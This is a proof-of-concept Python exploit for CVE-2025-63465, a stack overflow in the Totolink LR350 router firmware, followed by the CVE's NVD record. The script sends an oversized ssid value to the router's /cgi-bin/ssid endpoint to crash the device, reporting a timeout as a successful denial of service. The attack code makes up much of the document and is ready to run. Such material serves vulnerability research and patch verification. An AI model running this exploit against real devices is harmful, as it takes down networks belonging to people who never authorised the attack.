CVE-2025-63465

import requests # CVE-2025-63465 PoC - Totolink LR350 Stack Overflow via ssid parameter # Target: Totolink LR350 v9.3.5u.6369_B20220309 # Vulnerability: Stack overflow in sub_422880 function via ssid parameter target_ip = "192.168.1.1" target_port = 80 target_url = f"http://{target_ip}:{target_port}/cgi-bin/ssid" # Generate malicious payload with oversized ssid parameter # The buffer overflow occurs when ssid exceeds expected length payload_size = 1000 # Adjust based on buffer size malicious_ssid = "A" * payload_size def exploit_stack_overflow(): headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } data = { "ssid": malicious_ssid, "submit": "Apply" } try: response = requests.post(target_url, data=data, headers=headers, timeout=5) print(f"[*] Request sent to {target_url}") print(f"[*] Payload size: {payload_size} bytes") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Request completed - target may be vulnerable") else: print("[-] Unexpected response") except requests.exceptions.Timeout: print("[!] Request timeout - target may have crashed (DoS successful)") except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-63465 PoC - Totolink LR350 Stack Overflow") print("=" * 60) exploit_stack_overflow()

{"cve": {"id": "CVE-2025-63465", "sourceIdentifier": "[email protected]", "published": "2025-10-31T17:15:48.043", "lastModified": "2025-11-05T17:29:32.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Totolink LR350 v9.3.5u.6369_B20220309 was discovered to contain a stack overflow via the ssid parameter in the sub_422880 function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:lr350_firmware:9.3.5u.6369_b20220309:*:*:*:*:*:*:*", "matchCriteriaId": "6E7C618F-D415-4075-96A5-45E44B52FB62"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:lr350:-:*:*:*:*:*:*:*", "matchCriteriaId": "4CA0663B-3F55-44EF-AF32-F83AB0411748"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/LR350/2/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/LR350/2/1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}